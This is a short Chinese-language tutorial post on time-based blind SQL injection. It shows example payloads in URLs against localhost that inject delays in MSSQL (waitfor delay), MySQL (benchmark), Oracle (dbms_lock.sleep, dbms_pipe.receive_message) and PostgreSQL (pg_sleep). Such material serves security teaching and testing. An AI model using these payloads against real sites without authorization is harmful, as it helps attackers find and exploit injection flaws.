zoukankan      html  css  js  c++  java
  • SQL盲注(2)

    时间延迟

    测试SQL注入漏洞时,会发现某一潜在漏洞难以确定,主要原因是Web应用没有显示任何错误,因而无法检索任何数据。这种情况下,可以考虑向数据库注入时间延迟。MSSQL服务器有一条内置命令waitfor delay 'hours:minutes:seconds'

    http://127.0.0.1/test.apsx?id=1;waitfor delay '0:0:5' -- 
    该请求会使服务器延时5秒

    MySQL中没有能直接延时的函数,但可以使用执行时间很长的函数来实现延迟,MySQL的benchmark函数就可以实现。

    http://127.0.0.1/test/php?id=1;select benchmark(10000000,encode('hello','test'));--

    在Oracle PL/SQL中,可以利用以下指令集来延迟5秒

    begin
    dbms_lock.sleep(5)
    end;

    但是,该函数的使用存在很多限制。1.不能直接将该函数注入到子查询中,因为Oracle不支持堆叠查询。2.只有数据库管理员才能使用dbms_lock包

    在Oracle PL/SQL中还有另外一种方式

    http://127.0.0.1/test.php?id=1 or 1=dbms_pipe.receive_message('RDS',10)

    dbms_pipe.receive_message函数将为从RDS管道返回的数据等待10秒。默认情况下,允许public权限执行该包。dbms_lock.sleep与之相反,dbms_pipe。receive_message可以直接用到SQL语句中。

    PostgreSQL数据库可以使用pg_sleep函数来实现延迟

    http://127.0.0.1/test.php?id=1;select pg_sleep(10); --
    dbms_pipe.receive_message
  • 相关阅读:
    给 Advice 传递参数
    jenkins 部署问题
    Linux里的2>&1究竟是什么
    记一次 Spring 事务配置踩坑记
    Netty
    springboot logback 集成
    SpringBoot-服务端参数验证-JSR-303验证框架
    mysql 数据库 简单存储过程游标使用
    SQL Case when 的使用方法
    解决Unsupported major.minor version 51.0错误
  • 原文地址:https://www.cnblogs.com/dubhe-/p/10040038.html
Copyright © 2011-2022 走看看